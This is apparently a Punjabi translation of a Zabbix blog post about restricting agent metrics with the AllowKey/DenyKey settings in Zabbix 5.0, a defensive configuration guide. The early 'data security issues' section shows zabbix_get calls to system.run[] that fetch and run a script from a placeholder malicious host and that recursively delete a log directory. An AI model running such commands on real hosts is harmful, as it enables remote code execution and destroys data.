ਜ਼ੈਬਿਕਸ 5.0 ਵਿੱਚ ਏਜੰਟ-ਸਾਈਡ ਮੈਟ੍ਰਿਕਸ ਲਈ ਬਲੈਕਲਿਸਟ ਅਤੇ ਵਾਈਟਲਿਸਟ ਸਮਰਥਨ

ਏਜੰਟ-ਸਾਈਡ ਮੈਟ੍ਰਿਕਸ ਲਈ ਬਲੈਕਲਿਸਟ ਅਤੇ ਵਾਈਟਲਿਸਟ ਸਮਰਥਨ

ਟਿਖੋਨ ਉਸਕੋਵ, ਏਕੀਕਰਣ ਇੰਜੀਨੀਅਰ, ਜ਼ੈਬਿਕਸ

ਡਾਟਾ ਸੁਰੱਖਿਆ ਮੁੱਦੇ

ਜ਼ੈਬਿਕਸ 5.0 ਵਿੱਚ ਇੱਕ ਨਵੀਂ ਵਿਸ਼ੇਸ਼ਤਾ ਹੈ ਜੋ ਤੁਹਾਨੂੰ ਜ਼ੈਬਿਕਸ ਏਜੰਟ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਸਿਸਟਮਾਂ ਵਿੱਚ ਸੁਰੱਖਿਆ ਨੂੰ ਬਿਹਤਰ ਬਣਾਉਣ ਅਤੇ ਪੁਰਾਣੇ ਪੈਰਾਮੀਟਰ ਨੂੰ ਬਦਲਣ ਦੀ ਆਗਿਆ ਦਿੰਦੀ ਹੈ। ਰਿਮੋਟ ਕਮਾਂਡਾਂ ਨੂੰ ਸਮਰੱਥ ਬਣਾਓ.

ਏਜੰਟ-ਅਧਾਰਿਤ ਪ੍ਰਣਾਲੀਆਂ ਦੀ ਸੁਰੱਖਿਆ ਵਿੱਚ ਸੁਧਾਰ ਇਸ ਤੱਥ ਤੋਂ ਪੈਦਾ ਹੁੰਦੇ ਹਨ ਕਿ ਇੱਕ ਏਜੰਟ ਵੱਡੀ ਗਿਣਤੀ ਵਿੱਚ ਸੰਭਾਵੀ ਤੌਰ 'ਤੇ ਖਤਰਨਾਕ ਕਾਰਵਾਈਆਂ ਕਰ ਸਕਦਾ ਹੈ।

• ਏਜੰਟ ਸੰਰਚਨਾ ਫਾਈਲਾਂ, ਲੌਗ ਫਾਈਲਾਂ, ਪਾਸਵਰਡ ਫਾਈਲਾਂ, ਜਾਂ ਕਿਸੇ ਹੋਰ ਫਾਈਲਾਂ ਤੋਂ ਗੁਪਤ ਜਾਂ ਸੰਭਾਵੀ ਤੌਰ 'ਤੇ ਖਤਰਨਾਕ ਜਾਣਕਾਰੀ ਸਮੇਤ ਲਗਭਗ ਕੋਈ ਵੀ ਜਾਣਕਾਰੀ ਇਕੱਠੀ ਕਰ ਸਕਦਾ ਹੈ।

ਉਦਾਹਰਨ ਲਈ, zabbix_get ਉਪਯੋਗਤਾ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਤੁਸੀਂ ਉਪਭੋਗਤਾਵਾਂ ਦੀ ਸੂਚੀ, ਉਹਨਾਂ ਦੀਆਂ ਹੋਮ ਡਾਇਰੈਕਟਰੀਆਂ, ਪਾਸਵਰਡ ਫਾਈਲਾਂ ਆਦਿ ਤੱਕ ਪਹੁੰਚ ਕਰ ਸਕਦੇ ਹੋ।

zabbix_get ਉਪਯੋਗਤਾ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਡੇਟਾ ਤੱਕ ਪਹੁੰਚ ਕਰਨਾ

ਨੋਟ. ਡੇਟਾ ਸਿਰਫ ਤਾਂ ਹੀ ਪ੍ਰਾਪਤ ਕੀਤਾ ਜਾ ਸਕਦਾ ਹੈ ਜੇਕਰ ਏਜੰਟ ਨੇ ਸੰਬੰਧਿਤ ਫਾਈਲ 'ਤੇ ਪੜ੍ਹਨ ਦੀ ਇਜਾਜ਼ਤ ਦਿੱਤੀ ਹੋਵੇ. ਪਰ, ਉਦਾਹਰਨ ਲਈ, ਫਾਇਲ /etc/passwd/ ਸਾਰੇ ਉਪਭੋਗਤਾਵਾਂ ਦੁਆਰਾ ਪੜ੍ਹਨਯੋਗ.

• ਏਜੰਟ ਸੰਭਾਵੀ ਤੌਰ 'ਤੇ ਖਤਰਨਾਕ ਕਮਾਂਡਾਂ ਨੂੰ ਵੀ ਚਲਾ ਸਕਦਾ ਹੈ। ਉਦਾਹਰਨ ਲਈ, ਕੁੰਜੀ *system.run[]** ਤੁਹਾਨੂੰ ਨੈੱਟਵਰਕ ਨੋਡਾਂ 'ਤੇ ਕਿਸੇ ਵੀ ਰਿਮੋਟ ਕਮਾਂਡਾਂ ਨੂੰ ਚਲਾਉਣ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦਾ ਹੈ, ਜਿਸ ਵਿੱਚ ਜ਼ੈਬਿਕਸ ਵੈੱਬ ਇੰਟਰਫੇਸ ਤੋਂ ਚੱਲ ਰਹੀਆਂ ਸਕ੍ਰਿਪਟਾਂ ਸ਼ਾਮਲ ਹਨ ਜੋ ਏਜੰਟ ਸਾਈਡ 'ਤੇ ਕਮਾਂਡਾਂ ਨੂੰ ਵੀ ਚਲਾਉਂਦੀਆਂ ਹਨ।

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

• ਲੀਨਕਸ 'ਤੇ, ਏਜੰਟ ਰੂਟ ਅਧਿਕਾਰਾਂ ਤੋਂ ਬਿਨਾਂ ਡਿਫੌਲਟ ਤੌਰ 'ਤੇ ਚੱਲਦਾ ਹੈ, ਜਦੋਂ ਕਿ ਵਿੰਡੋਜ਼ 'ਤੇ ਇਹ ਸਿਸਟਮ ਦੇ ਤੌਰ 'ਤੇ ਸੇਵਾ ਦੇ ਤੌਰ 'ਤੇ ਚੱਲਦਾ ਹੈ ਅਤੇ ਫਾਈਲ ਸਿਸਟਮ ਤੱਕ ਅਪ੍ਰਬੰਧਿਤ ਪਹੁੰਚ ਰੱਖਦਾ ਹੈ। ਇਸ ਅਨੁਸਾਰ, ਜੇਕਰ ਇੰਸਟਾਲੇਸ਼ਨ ਤੋਂ ਬਾਅਦ ਜ਼ੈਬਿਕਸ ਏਜੰਟ ਪੈਰਾਮੀਟਰਾਂ ਵਿੱਚ ਕੋਈ ਬਦਲਾਅ ਨਹੀਂ ਕੀਤੇ ਜਾਂਦੇ ਹਨ, ਤਾਂ ਏਜੰਟ ਦੀ ਰਜਿਸਟਰੀ, ਫਾਈਲ ਸਿਸਟਮ ਤੱਕ ਪਹੁੰਚ ਹੁੰਦੀ ਹੈ ਅਤੇ ਉਹ WMI ਪੁੱਛਗਿੱਛਾਂ ਨੂੰ ਚਲਾ ਸਕਦਾ ਹੈ।

ਪੁਰਾਣੇ ਸੰਸਕਰਣਾਂ ਵਿੱਚ ਪੈਰਾਮੀਟਰ RemoteCommands ਯੋਗ ਕਰੋ=0 ਸਿਰਫ਼ ਕੁੰਜੀ ਦੇ ਨਾਲ ਮੈਟ੍ਰਿਕਸ ਨੂੰ ਅਯੋਗ ਕਰਨ ਦੀ ਇਜਾਜ਼ਤ ਹੈ *system.run[]** ਅਤੇ ਵੈੱਬ ਇੰਟਰਫੇਸ ਤੋਂ ਸਕ੍ਰਿਪਟਾਂ ਨੂੰ ਚਲਾਇਆ ਜਾ ਰਿਹਾ ਹੈ, ਪਰ ਵਿਅਕਤੀਗਤ ਫਾਈਲਾਂ ਤੱਕ ਪਹੁੰਚ ਨੂੰ ਪ੍ਰਤਿਬੰਧਿਤ ਕਰਨ, ਏਜੰਟ ਨਾਲ ਸਥਾਪਿਤ ਕੀਤੀਆਂ ਗਈਆਂ ਵਿਅਕਤੀਗਤ ਕੁੰਜੀਆਂ ਨੂੰ ਆਗਿਆ ਦੇਣ ਜਾਂ ਅਯੋਗ ਕਰਨ, ਜਾਂ ਵਿਅਕਤੀਗਤ ਮਾਪਦੰਡਾਂ ਦੀ ਵਰਤੋਂ ਨੂੰ ਸੀਮਤ ਕਰਨ ਦਾ ਕੋਈ ਤਰੀਕਾ ਨਹੀਂ ਸੀ।

Zabbix ਦੇ ਪੁਰਾਣੇ ਸੰਸਕਰਣਾਂ ਵਿੱਚ EnableRemoteCommand ਪੈਰਾਮੀਟਰ ਦੀ ਵਰਤੋਂ ਕਰਨਾ

AllowKey/DenyKey

Zabbix 5.0 ਏਜੰਟ ਸਾਈਡ 'ਤੇ ਮੈਟ੍ਰਿਕਸ ਦੀ ਇਜਾਜ਼ਤ ਦੇਣ ਅਤੇ ਇਨਕਾਰ ਕਰਨ ਲਈ ਵ੍ਹਾਈਟਲਿਸਟ ਅਤੇ ਬਲੈਕਲਿਸਟਸ ਪ੍ਰਦਾਨ ਕਰਕੇ ਅਜਿਹੀ ਅਣਅਧਿਕਾਰਤ ਪਹੁੰਚ ਤੋਂ ਸੁਰੱਖਿਆ ਵਿੱਚ ਮਦਦ ਕਰਦਾ ਹੈ।

Zabbix 5.0 ਵਿੱਚ ਸਾਰੀਆਂ ਕੁੰਜੀਆਂ, ਸਮੇਤ *system.run[]** ਸਮਰਥਿਤ ਹਨ, ਅਤੇ ਦੋ ਨਵੇਂ ਏਜੰਟ ਕੌਂਫਿਗਰੇਸ਼ਨ ਵਿਕਲਪ ਸ਼ਾਮਲ ਕੀਤੇ ਗਏ ਹਨ:

AllowKey= - ਮਨਜ਼ੂਰ ਜਾਂਚਾਂ;

DenyKey = - ਮਨਾਹੀ ਚੈਕ;

ਪੈਰਾਮੀਟਰਾਂ ਵਾਲਾ ਇੱਕ ਮੁੱਖ ਨਾਮ ਪੈਟਰਨ ਕਿੱਥੇ ਹੈ ਜੋ ਮੈਟਾ-ਅੱਖਰ (*) ਦੀ ਵਰਤੋਂ ਕਰਦਾ ਹੈ।

AllowKey ਅਤੇ DenyKey ਕੁੰਜੀਆਂ ਤੁਹਾਨੂੰ ਕਿਸੇ ਖਾਸ ਪੈਟਰਨ ਦੇ ਆਧਾਰ 'ਤੇ ਵਿਅਕਤੀਗਤ ਮੈਟ੍ਰਿਕਸ ਦੀ ਇਜਾਜ਼ਤ ਜਾਂ ਇਨਕਾਰ ਕਰਨ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦੀਆਂ ਹਨ। ਹੋਰ ਸੰਰਚਨਾ ਪੈਰਾਮੀਟਰਾਂ ਦੇ ਉਲਟ, AllowKey/DenyKey ਪੈਰਾਮੀਟਰਾਂ ਦੀ ਗਿਣਤੀ ਸੀਮਤ ਨਹੀਂ ਹੈ। ਇਹ ਤੁਹਾਨੂੰ ਸਪਸ਼ਟ ਤੌਰ 'ਤੇ ਪਰਿਭਾਸ਼ਿਤ ਕਰਨ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦਾ ਹੈ ਕਿ ਏਜੰਟ ਚੈੱਕਾਂ ਦਾ ਇੱਕ ਟ੍ਰੀ ਬਣਾ ਕੇ ਸਿਸਟਮ ਵਿੱਚ ਕੀ ਕਰ ਸਕਦਾ ਹੈ - ਐਗਜ਼ੀਕਿਊਟੇਬਲ ਕੁੰਜੀਆਂ, ਜਿੱਥੇ ਉਹ ਕ੍ਰਮ ਜਿਸ ਵਿੱਚ ਉਹ ਲਿਖੇ ਗਏ ਹਨ ਇੱਕ ਬਹੁਤ ਮਹੱਤਵਪੂਰਨ ਭੂਮਿਕਾ ਨਿਭਾਉਂਦੇ ਹਨ।

ਨਿਯਮਾਂ ਦਾ ਕ੍ਰਮ

ਨਿਯਮਾਂ ਦੀ ਜਾਂਚ ਉਸ ਕ੍ਰਮ ਵਿੱਚ ਕੀਤੀ ਜਾਂਦੀ ਹੈ ਜਿਸ ਵਿੱਚ ਉਹ ਸੰਰਚਨਾ ਫਾਈਲ ਵਿੱਚ ਦਾਖਲ ਹੁੰਦੇ ਹਨ। ਪਹਿਲੇ ਮੈਚ ਤੋਂ ਪਹਿਲਾਂ ਨਿਯਮਾਂ ਅਨੁਸਾਰ ਕੁੰਜੀ ਦੀ ਜਾਂਚ ਕੀਤੀ ਜਾਂਦੀ ਹੈ, ਅਤੇ ਜਿਵੇਂ ਹੀ ਡੇਟਾ ਐਲੀਮੈਂਟ ਦੀ ਕੁੰਜੀ ਪੈਟਰਨ ਨਾਲ ਮੇਲ ਖਾਂਦੀ ਹੈ, ਇਸਦੀ ਇਜਾਜ਼ਤ ਜਾਂ ਇਨਕਾਰ ਕਰ ਦਿੱਤਾ ਜਾਂਦਾ ਹੈ। ਇਸ ਤੋਂ ਬਾਅਦ, ਨਿਯਮ ਦੀ ਜਾਂਚ ਬੰਦ ਹੋ ਜਾਂਦੀ ਹੈ ਅਤੇ ਬਾਕੀ ਕੁੰਜੀਆਂ ਨੂੰ ਅਣਡਿੱਠ ਕੀਤਾ ਜਾਂਦਾ ਹੈ।

ਇਸਲਈ, ਜੇਕਰ ਇੱਕ ਐਲੀਮੈਂਟ ਇੱਕ ਆਗਿਆ ਅਤੇ ਅਸਵੀਕਾਰ ਨਿਯਮ ਦੋਵਾਂ ਨਾਲ ਮੇਲ ਖਾਂਦਾ ਹੈ, ਤਾਂ ਨਤੀਜਾ ਇਸ ਗੱਲ 'ਤੇ ਨਿਰਭਰ ਕਰੇਗਾ ਕਿ ਕੌਂਫਿਗਰੇਸ਼ਨ ਫਾਈਲ ਵਿੱਚ ਕਿਹੜਾ ਨਿਯਮ ਪਹਿਲਾਂ ਹੈ।

ਇੱਕੋ ਪੈਟਰਨ ਅਤੇ ਇੱਕ ਕੁੰਜੀ ਦੇ ਨਾਲ 2 ਵੱਖ-ਵੱਖ ਨਿਯਮ vfs.file.size[/tmp/file]

AllowKey/DenyKey ਕੁੰਜੀਆਂ ਦੀ ਵਰਤੋਂ ਕਰਨ ਦਾ ਕ੍ਰਮ:

1. ਸਹੀ ਨਿਯਮ,
2. ਆਮ ਨਿਯਮ,
3. ਮਨਾਹੀ ਵਾਲਾ ਨਿਯਮ

ਉਦਾਹਰਨ ਲਈ, ਜੇਕਰ ਤੁਹਾਨੂੰ ਕਿਸੇ ਖਾਸ ਫੋਲਡਰ ਵਿੱਚ ਫਾਈਲਾਂ ਤੱਕ ਪਹੁੰਚ ਦੀ ਲੋੜ ਹੈ, ਤਾਂ ਤੁਹਾਨੂੰ ਪਹਿਲਾਂ ਉਹਨਾਂ ਤੱਕ ਪਹੁੰਚ ਦੀ ਇਜਾਜ਼ਤ ਦੇਣੀ ਚਾਹੀਦੀ ਹੈ, ਅਤੇ ਫਿਰ ਉਹਨਾਂ ਸਾਰੀਆਂ ਚੀਜ਼ਾਂ ਨੂੰ ਅਸਵੀਕਾਰ ਕਰਨਾ ਚਾਹੀਦਾ ਹੈ ਜੋ ਸਥਾਪਿਤ ਅਨੁਮਤੀਆਂ ਵਿੱਚ ਨਹੀਂ ਆਉਂਦੀਆਂ ਹਨ। ਜੇਕਰ ਇਨਕਾਰ ਨਿਯਮ ਪਹਿਲਾਂ ਵਰਤਿਆ ਜਾਂਦਾ ਹੈ, ਤਾਂ ਫੋਲਡਰ ਤੱਕ ਪਹੁੰਚ ਤੋਂ ਇਨਕਾਰ ਕਰ ਦਿੱਤਾ ਜਾਵੇਗਾ।

ਸਹੀ ਤਰਤੀਬ

ਜੇ ਤੁਹਾਨੂੰ 2 ਉਪਯੋਗਤਾਵਾਂ ਨੂੰ * ਦੁਆਰਾ ਚਲਾਉਣ ਦੀ ਇਜਾਜ਼ਤ ਦੇਣ ਦੀ ਲੋੜ ਹੈsystem.run[]**, ਅਤੇ ਇਨਕਾਰ ਕਰਨ ਵਾਲਾ ਨਿਯਮ ਪਹਿਲਾਂ ਨਿਰਧਾਰਤ ਕੀਤਾ ਜਾਵੇਗਾ, ਉਪਯੋਗਤਾਵਾਂ ਨੂੰ ਲਾਂਚ ਨਹੀਂ ਕੀਤਾ ਜਾਵੇਗਾ, ਕਿਉਂਕਿ ਪਹਿਲਾ ਪੈਟਰਨ ਹਮੇਸ਼ਾ ਕਿਸੇ ਵੀ ਕੁੰਜੀ ਨਾਲ ਮੇਲ ਖਾਂਦਾ ਹੈ, ਅਤੇ ਬਾਅਦ ਦੇ ਨਿਯਮਾਂ ਨੂੰ ਅਣਡਿੱਠ ਕੀਤਾ ਜਾਵੇਗਾ।

ਗਲਤ ਕ੍ਰਮ

ਪੈਟਰਨ

ਬੁਨਿਆਦੀ ਨਿਯਮ

ਪੈਟਰਨ ਵਾਈਲਡਕਾਰਡ ਨਾਲ ਇੱਕ ਸਮੀਕਰਨ ਹੈ। ਮੈਟਾ-ਅੱਖਰ (*) ਕਿਸੇ ਖਾਸ ਸਥਿਤੀ 'ਤੇ ਕਿਸੇ ਵੀ ਅੱਖਰ ਦੀ ਗਿਣਤੀ ਨਾਲ ਮੇਲ ਖਾਂਦਾ ਹੈ। ਮੈਟਾ-ਅੱਖਰ ਮੁੱਖ ਨਾਮ ਅਤੇ ਪੈਰਾਮੀਟਰਾਂ ਦੋਵਾਂ ਵਿੱਚ ਵਰਤੇ ਜਾ ਸਕਦੇ ਹਨ। ਉਦਾਹਰਨ ਲਈ, ਤੁਸੀਂ ਟੈਕਸਟ ਨਾਲ ਪਹਿਲੇ ਪੈਰਾਮੀਟਰ ਨੂੰ ਸਖਤੀ ਨਾਲ ਪਰਿਭਾਸ਼ਿਤ ਕਰ ਸਕਦੇ ਹੋ, ਅਤੇ ਬਾਅਦ ਵਾਲੇ ਨੂੰ ਵਾਈਲਡਕਾਰਡ ਦੇ ਤੌਰ 'ਤੇ ਦਿਓ.

ਪੈਰਾਮੀਟਰ ਵਰਗ ਬਰੈਕਟ [] ਵਿੱਚ ਬੰਦ ਹੋਣੇ ਚਾਹੀਦੇ ਹਨ।

• system.run[* - ਗਲਤ
• vfs.file*.txt] - ਗਲਤ
• vfs.file.*[*] - ਸਹੀ

ਵਾਈਲਡਕਾਰਡ ਦੀ ਵਰਤੋਂ ਕਰਨ ਦੀਆਂ ਉਦਾਹਰਨਾਂ।

1. ਕੁੰਜੀ ਨਾਮ ਅਤੇ ਪੈਰਾਮੀਟਰ ਵਿੱਚ. ਇਸ ਸਥਿਤੀ ਵਿੱਚ, ਕੁੰਜੀ ਇੱਕ ਸਮਾਨ ਕੁੰਜੀ ਨਾਲ ਮੇਲ ਨਹੀਂ ਖਾਂਦੀ ਜਿਸ ਵਿੱਚ ਕੋਈ ਪੈਰਾਮੀਟਰ ਨਹੀਂ ਹੁੰਦਾ, ਕਿਉਂਕਿ ਪੈਟਰਨ ਵਿੱਚ ਅਸੀਂ ਸੰਕੇਤ ਦਿੱਤਾ ਹੈ ਕਿ ਅਸੀਂ ਕੁੰਜੀ ਦੇ ਨਾਮ ਦਾ ਇੱਕ ਨਿਸ਼ਚਿਤ ਅੰਤ ਅਤੇ ਮਾਪਦੰਡਾਂ ਦੇ ਇੱਕ ਨਿਸ਼ਚਿਤ ਸਮੂਹ ਨੂੰ ਪ੍ਰਾਪਤ ਕਰਨਾ ਚਾਹੁੰਦੇ ਹਾਂ।
2. ਜੇਕਰ ਪੈਟਰਨ ਵਰਗ ਬਰੈਕਟਾਂ ਦੀ ਵਰਤੋਂ ਨਹੀਂ ਕਰਦਾ ਹੈ, ਤਾਂ ਪੈਟਰਨ ਉਹਨਾਂ ਸਾਰੀਆਂ ਕੁੰਜੀਆਂ ਦੀ ਆਗਿਆ ਦਿੰਦਾ ਹੈ ਜਿਹਨਾਂ ਵਿੱਚ ਪੈਰਾਮੀਟਰ ਨਹੀਂ ਹੁੰਦੇ ਹਨ ਅਤੇ ਉਹਨਾਂ ਸਾਰੀਆਂ ਕੁੰਜੀਆਂ ਨੂੰ ਅਸਵੀਕਾਰ ਕਰਦੇ ਹਨ ਜਿਹਨਾਂ ਵਿੱਚ ਨਿਰਧਾਰਤ ਪੈਰਾਮੀਟਰ ਸ਼ਾਮਲ ਹੁੰਦੇ ਹਨ।
3. ਜੇਕਰ ਕੁੰਜੀ ਪੂਰੀ ਤਰ੍ਹਾਂ ਲਿਖੀ ਗਈ ਹੈ ਅਤੇ ਪੈਰਾਮੀਟਰਾਂ ਨੂੰ ਵਾਈਲਡਕਾਰਡ ਵਜੋਂ ਨਿਸ਼ਚਿਤ ਕੀਤਾ ਗਿਆ ਹੈ, ਤਾਂ ਇਹ ਕਿਸੇ ਵੀ ਸਮਾਨ ਕੁੰਜੀ ਨਾਲ ਕਿਸੇ ਵੀ ਪੈਰਾਮੀਟਰ ਨਾਲ ਮੇਲ ਖਾਂਦਾ ਹੈ ਅਤੇ ਵਰਗ ਬਰੈਕਟਾਂ ਤੋਂ ਬਿਨਾਂ ਕੁੰਜੀ ਨਾਲ ਮੇਲ ਨਹੀਂ ਖਾਂਦਾ, ਭਾਵ ਇਸਦੀ ਇਜਾਜ਼ਤ ਜਾਂ ਇਨਕਾਰ ਕਰ ਦਿੱਤਾ ਜਾਵੇਗਾ।

ਪੈਰਾਮੀਟਰਾਂ ਨੂੰ ਭਰਨ ਲਈ ਨਿਯਮ।

• ਜੇਕਰ ਪੈਰਾਮੀਟਰਾਂ ਵਾਲੀ ਇੱਕ ਕੁੰਜੀ ਵਰਤੀ ਜਾਣੀ ਹੈ, ਤਾਂ ਪੈਰਾਮੀਟਰ ਸੰਰਚਨਾ ਫਾਇਲ ਵਿੱਚ ਦਿੱਤੇ ਜਾਣੇ ਚਾਹੀਦੇ ਹਨ। ਪੈਰਾਮੀਟਰਾਂ ਨੂੰ ਇੱਕ ਮੈਟਾ-ਅੱਖਰ ਵਜੋਂ ਨਿਰਧਾਰਤ ਕੀਤਾ ਜਾਣਾ ਚਾਹੀਦਾ ਹੈ। ਕਿਸੇ ਵੀ ਫਾਈਲ ਤੱਕ ਪਹੁੰਚ ਨੂੰ ਧਿਆਨ ਨਾਲ ਇਨਕਾਰ ਕਰਨਾ ਅਤੇ ਇਸ ਗੱਲ ਨੂੰ ਧਿਆਨ ਵਿੱਚ ਰੱਖਣਾ ਜ਼ਰੂਰੀ ਹੈ ਕਿ ਮਾਪਦੰਡਾਂ ਦੇ ਨਾਲ ਅਤੇ ਬਿਨਾਂ ਮਾਪਦੰਡਾਂ ਦੇ ਵੱਖ-ਵੱਖ ਸਪੈਲਿੰਗਾਂ ਦੇ ਤਹਿਤ ਮੈਟ੍ਰਿਕ ਕਿਹੜੀ ਜਾਣਕਾਰੀ ਪ੍ਰਦਾਨ ਕਰ ਸਕਦਾ ਹੈ।

ਪੈਰਾਮੀਟਰਾਂ ਨਾਲ ਕੁੰਜੀਆਂ ਲਿਖਣ ਦੀਆਂ ਵਿਸ਼ੇਸ਼ਤਾਵਾਂ

• ਜੇਕਰ ਇੱਕ ਕੁੰਜੀ ਨੂੰ ਪੈਰਾਮੀਟਰਾਂ ਨਾਲ ਨਿਸ਼ਚਿਤ ਕੀਤਾ ਗਿਆ ਹੈ, ਪਰ ਪੈਰਾਮੀਟਰ ਵਿਕਲਪਿਕ ਹਨ ਅਤੇ ਇੱਕ ਮੈਟਾ-ਅੱਖਰ ਵਜੋਂ ਨਿਰਧਾਰਤ ਕੀਤੇ ਗਏ ਹਨ, ਤਾਂ ਪੈਰਾਮੀਟਰਾਂ ਤੋਂ ਬਿਨਾਂ ਇੱਕ ਕੁੰਜੀ ਦਾ ਹੱਲ ਕੀਤਾ ਜਾਵੇਗਾ। ਉਦਾਹਰਨ ਲਈ, ਜੇਕਰ ਤੁਸੀਂ CPU 'ਤੇ ਲੋਡ ਬਾਰੇ ਜਾਣਕਾਰੀ ਪ੍ਰਾਪਤ ਕਰਨ ਨੂੰ ਅਸਮਰੱਥ ਬਣਾਉਣਾ ਚਾਹੁੰਦੇ ਹੋ ਅਤੇ ਨਿਰਧਾਰਤ ਕਰਨਾ ਚਾਹੁੰਦੇ ਹੋ ਕਿ system.cpu.load[*] ਕੁੰਜੀ ਨੂੰ ਅਯੋਗ ਕੀਤਾ ਜਾਣਾ ਚਾਹੀਦਾ ਹੈ, ਤਾਂ ਇਹ ਨਾ ਭੁੱਲੋ ਕਿ ਪੈਰਾਮੀਟਰਾਂ ਤੋਂ ਬਿਨਾਂ ਕੁੰਜੀ ਔਸਤ ਲੋਡ ਮੁੱਲ ਵਾਪਸ ਕਰੇਗੀ।

ਪੈਰਾਮੀਟਰਾਂ ਨੂੰ ਭਰਨ ਲਈ ਨਿਯਮ

ਨੋਟ

ਵਿਵਸਥਾ

• ਕੁਝ ਨਿਯਮਾਂ ਨੂੰ ਉਪਭੋਗਤਾ ਦੁਆਰਾ ਬਦਲਿਆ ਨਹੀਂ ਜਾ ਸਕਦਾ, ਉਦਾਹਰਨ ਲਈ, ਖੋਜ ਨਿਯਮ ਜਾਂ ਏਜੰਟ ਆਟੋ-ਰਜਿਸਟ੍ਰੇਸ਼ਨ ਨਿਯਮ। AllowKey/DenyKey ਨਿਯਮ ਹੇਠਾਂ ਦਿੱਤੇ ਪੈਰਾਮੀਟਰਾਂ ਨੂੰ ਪ੍ਰਭਾਵਿਤ ਨਹੀਂ ਕਰਦੇ ਹਨ:
  - ਹੋਸਟਨਾਮ ਆਈਟਮ
  - ਹੋਸਟਮੇਟਾਡੇਟਾ ਆਈਟਮ
  - ਹੋਸਟ ਇੰਟਰਫੇਸ ਆਈਟਮ

ਨੋਟ. ਜੇਕਰ ਕੋਈ ਪ੍ਰਸ਼ਾਸਕ ਇੱਕ ਕੁੰਜੀ ਨੂੰ ਅਸਮਰੱਥ ਬਣਾਉਂਦਾ ਹੈ, ਜਦੋਂ ਪੁੱਛਗਿੱਛ ਕੀਤੀ ਜਾਂਦੀ ਹੈ, ਤਾਂ ਜ਼ੈਬਿਕਸ ਇਸ ਬਾਰੇ ਜਾਣਕਾਰੀ ਨਹੀਂ ਦਿੰਦਾ ਹੈ ਕਿ ਮੀਟ੍ਰਿਕ ਜਾਂ ਕੁੰਜੀ ' ਸ਼੍ਰੇਣੀ ਵਿੱਚ ਕਿਉਂ ਆਉਂਦੀ ਹੈ।ਸਹਾਇਕ ਨਹੀ ਹੈ'। ਰਿਮੋਟ ਕਮਾਂਡਾਂ ਨੂੰ ਚਲਾਉਣ 'ਤੇ ਪਾਬੰਦੀਆਂ ਬਾਰੇ ਜਾਣਕਾਰੀ ਏਜੰਟ ਲੌਗ ਫਾਈਲਾਂ ਵਿੱਚ ਵੀ ਪ੍ਰਦਰਸ਼ਿਤ ਨਹੀਂ ਕੀਤੀ ਜਾਂਦੀ ਹੈ। ਇਹ ਸੁਰੱਖਿਆ ਕਾਰਨਾਂ ਕਰਕੇ ਹੈ, ਪਰ ਜੇਕਰ ਮੈਟ੍ਰਿਕਸ ਕਿਸੇ ਕਾਰਨ ਕਰਕੇ ਅਸਮਰਥਿਤ ਸ਼੍ਰੇਣੀ ਵਿੱਚ ਆਉਂਦੇ ਹਨ ਤਾਂ ਡੀਬੱਗਿੰਗ ਨੂੰ ਗੁੰਝਲਦਾਰ ਬਣਾ ਸਕਦਾ ਹੈ.

• ਤੁਹਾਨੂੰ ਬਾਹਰੀ ਸੰਰਚਨਾ ਫਾਈਲਾਂ ਨੂੰ ਕਨੈਕਟ ਕਰਨ ਲਈ ਕਿਸੇ ਖਾਸ ਕ੍ਰਮ 'ਤੇ ਭਰੋਸਾ ਨਹੀਂ ਕਰਨਾ ਚਾਹੀਦਾ (ਉਦਾਹਰਨ ਲਈ, ਵਰਣਮਾਲਾ ਦੇ ਕ੍ਰਮ ਵਿੱਚ)।

ਕਮਾਂਡ ਲਾਈਨ ਉਪਯੋਗਤਾਵਾਂ

ਨਿਯਮਾਂ ਨੂੰ ਸਥਾਪਤ ਕਰਨ ਤੋਂ ਬਾਅਦ, ਤੁਹਾਨੂੰ ਇਹ ਯਕੀਨੀ ਬਣਾਉਣ ਦੀ ਲੋੜ ਹੈ ਕਿ ਸਭ ਕੁਝ ਸਹੀ ਢੰਗ ਨਾਲ ਕੌਂਫਿਗਰ ਕੀਤਾ ਗਿਆ ਹੈ.

ਤੁਸੀਂ ਤਿੰਨ ਵਿਕਲਪਾਂ ਵਿੱਚੋਂ ਇੱਕ ਦੀ ਵਰਤੋਂ ਕਰ ਸਕਦੇ ਹੋ:

• Zabbix ਵਿੱਚ ਇੱਕ ਮੈਟ੍ਰਿਕ ਸ਼ਾਮਲ ਕਰੋ।
• ਨਾਲ ਟੈਸਟ zabbix_agentd. ਵਿਕਲਪ ਦੇ ਨਾਲ ਜ਼ੈਬਿਕਸ ਏਜੰਟ -ਪ੍ਰਿੰਟ (-ਪੀ) ਸਭ ਕੁੰਜੀਆਂ ਦਿਖਾਉਂਦਾ ਹੈ (ਜੋ ਮੂਲ ਰੂਪ ਵਿੱਚ ਮਨਜ਼ੂਰ ਹਨ) ਨੂੰ ਛੱਡ ਕੇ ਉਹਨਾਂ ਨੂੰ ਛੱਡ ਕੇ ਜੋ ਸੰਰਚਨਾ ਦੁਆਰਾ ਮਨਜ਼ੂਰ ਨਹੀਂ ਹਨ। ਅਤੇ ਵਿਕਲਪ ਦੇ ਨਾਲ -ਟੈਸਟ (-t) ਇੱਕ ਵਰਜਿਤ ਕੁੰਜੀ ਵਾਪਸ ਆ ਜਾਵੇਗੀ 'ਅਸਮਰਥਿਤ ਆਈਟਮ ਕੁੰਜੀ'.
• ਨਾਲ ਟੈਸਟ zabbix_get. ਉਪਯੋਗਤਾ zabbix_get ਵਿਕਲਪ ਦੇ ਨਾਲ -k ਵਾਪਸ ਆਵੇਗਾ 'ZBX_NOTSUPPORTED: ਅਗਿਆਤ ਮੈਟ੍ਰਿਕ'.

ਆਗਿਆ ਦਿਓ ਜਾਂ ਇਨਕਾਰ ਕਰੋ

